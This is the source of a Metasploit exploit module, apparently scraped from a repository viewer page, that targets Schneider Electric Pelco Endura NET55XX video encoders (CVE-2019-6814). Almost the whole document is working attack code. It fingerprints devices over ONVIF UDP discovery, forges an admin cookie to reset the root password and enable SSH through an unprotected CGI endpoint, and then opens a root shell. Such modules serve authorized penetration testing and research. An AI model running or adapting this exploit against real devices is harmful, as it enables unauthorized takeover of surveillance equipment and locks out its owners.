Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::Report11include Msf::Exploit::Remote::SSH1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Schneider Electric Pelco Endura NET55XX Encoder',18'Description' => %q{19This module exploits inadequate access controls within the webUI to enable20the SSH service and change the root password. This module has been tested successfully21on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.22},23'License' => MSF_LICENSE,24'Author' => [25'Lucas Dinucci <[email protected]>',26'Vitor Esperança <[email protected]>'27],28'References' => [29['CVE', '2019-6814'],30['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']31],32'Payload' => {33'Compat' => {34'PayloadType' => 'cmd_interact',35'ConnectionType' => 'find'36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [ [ 'Universal', {} ] ],41'Privileged' => true,42'DisclosureDate' => '2019-01-25',43'DefaultTarget' => 044)45)4647register_options(48[49OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),50OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])51]52)5354register_advanced_options(55[56OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),57OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),58OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])59]60)61end6263def new_password64datastore['NEW_PASSWORD']65end6667def check68xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\69'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\70'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\71'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\72'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\73'<a:ReplyTo>'\74'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\75'</a:ReplyTo>'\76'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\77'</Header>'\78'<Body>'\79'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\80'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\81'</Probe>'\82'</Body>'\83'</Envelope><?xml version="1.0" encoding="UTF-8"?>'8485connect_udp(true, { 'RPORT' => datastore['UDP_PORT'] })86udp_sock.put(xmlPayload)87resp = []88resp << udp_sock.get(datastore['TIMEOUT'])89xmlResponse = resp.join(',')90disconnect_udp91if xmlResponse.include?('NET5501') || xmlResponse.include?('NET5501-I') || xmlResponse.include?('NET5501-XT') || xmlResponse.include?('NET5504') || xmlResponse.include?('NET5500') || xmlResponse.include?('NET5516') || xmlResponse.include?('NET5508')92return Exploit::CheckCode::Appears93end9495CheckCode::Safe96end9798def change_password99print_status("#{peer} - Attempt to change the root password...")100post = { enable: true, passwd: new_password, userid: 'root' }.to_json101102login = send_request_cgi({103'method' => 'POST',104'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),105'data' => post,106'headers' =>107{108'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',109'Content-Type' => 'application/json;charset=utf-8'110}111}, timeout = datastore['TIMEOUT'])112113fail_with(Failure::UnexpectedReply, 'Failed to change root password') unless login && login.code == 200114print_good("#{rhost}:80 - Successfully changed the root password...")115print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")116end117118def do_login119change_password120print_status("#{rhost}:22 - Attempt to start a SSH connection...")121opts = ssh_client_defaults.merge({122auth_methods: ['password', 'keyboard-interactive'],123port: 22,124password: new_password125})126opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']127begin128ssh = nil129::Timeout.timeout(datastore['SSH_TIMEOUT']) do130ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)131end132rescue Rex::ConnectionError133rescue Net::SSH::Disconnect, ::EOFError134print_error "#{rhost}:22 SSH - Disconnected during negotiation"135rescue ::Timeout::Error136print_error "#{rhost}:22 SSH - Timed out during negotiation"137rescue Net::SSH::AuthenticationFailed138print_error "#{rhost}:22 SSH - Failed authentication"139rescue Net::SSH::Exception => e140print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"141end142if ssh143conn = Net::SSH::CommandStream.new(ssh)144return conn145end146end147148def exploit149conn = do_login150if conn151print_good("#{rhost}:22 - Session established ")152handler(conn.lsock)153end154end155end156157158